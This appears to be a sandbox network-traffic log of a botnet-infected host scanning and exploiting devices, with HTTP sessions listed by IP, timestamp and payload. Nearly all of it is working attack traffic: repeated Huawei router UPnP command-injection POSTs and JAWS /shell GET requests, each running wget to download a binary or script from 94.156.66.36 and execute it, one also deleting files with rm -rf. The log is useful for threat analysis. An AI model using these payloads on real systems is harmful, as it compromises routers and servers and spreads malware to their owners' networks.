Mar 13, 2024 09:35:47.862735987 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:59.894431114 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:23.957665920 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.15	35074	118.89.68.235	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:37.994549036 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.360760927 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Mar 2024 08:35:38 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.15	51824	104.168.143.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.113797903 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.267653942 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.15	60672	212.16.87.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.123488903 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.287178040 CET	399	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:38 GMT Server: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.15	34812	37.53.56.73	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.175079107 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.394418001 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.15	38872	34.49.241.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.204713106 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.15	33100	23.42.119.230	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.219568014 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.479279041 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:35:38 GMT Date: Wed, 13 Mar 2024 08:35:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 32 35 32 63 64 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 33 38 26 23 34 36 3b 32 30 31 62 63 34 64 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5252cd17.1710318938.201bc4df</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.15	52778	89.32.145.164	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.279386044 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.435388088 CET	834	IN	HTTP/1.1 400 Bad Request Server: squid Mime-Version: 1.0 Date: Wed, 13 Mar 2024 08:35:38 GMT Content-Type: text/html;charset=utf-8 Content-Length: 488 X-Squid-Error: ERR_INVALID_URL 0 X-Cache: MISS from uk280.tmobatt.com X-Cache-Lookup: NONE from uk280.tmobatt.com:80 Via: 1.1 uk280.tmobatt.com (squid) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 68 31 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 09 09 3c 68 34 3e 45 72 72 6f 72 20 63 6f 64 65 3a 20 32 32 3c 2f 68 34 3e 0a 09 09 3c 68 34 3e 44 61 74 65 3a 20 57 65 64 2c 20 31 33 20 4d 61 72 20 32 30 32 34 20 30 38 3a 33 35 3a 33 38 20 47 4d 54 3c 2f 68 34 3e 0a 09 09 3c 68 34 3e 52 65 71 75 65 73 74 3a 20 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 68 34 3e 0a 09 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title></head><body><h1>ERROR: The requested URL could not be retrieved</h1><h4>Error code: 22</h4><h4>Date: Wed, 13 Mar 2024 08:35:38 GMT</h4><h4>Request: /shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws</h4></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.15	56184	188.94.248.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.348829985 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.522162914 CET	200	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:38 GMT Server: Apache Content-Length: 23 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 65 72 72 6f 72 20 34 30 30 20 2d 20 62 61 64 20 72 65 71 75 65 73 74 Data Ascii: error 400 - bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.15	34576	164.92.198.46	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.349172115 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.522799015 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:35:38 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.15	49368	13.211.32.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:38.576096058 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:38.884947062 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:35:38 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.15	47972	23.43.197.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:41.027358055 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:41.135323048 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:35:41 GMT Date: Wed, 13 Mar 2024 08:35:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 61 61 34 63 30 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 34 31 26 23 34 36 3b 31 36 39 36 64 37 65 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4aa4c017.1710318941.1696d7e9</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.15	48282	207.23.179.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:41.278446913 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.15	58618	116.205.75.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:41.293195963 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
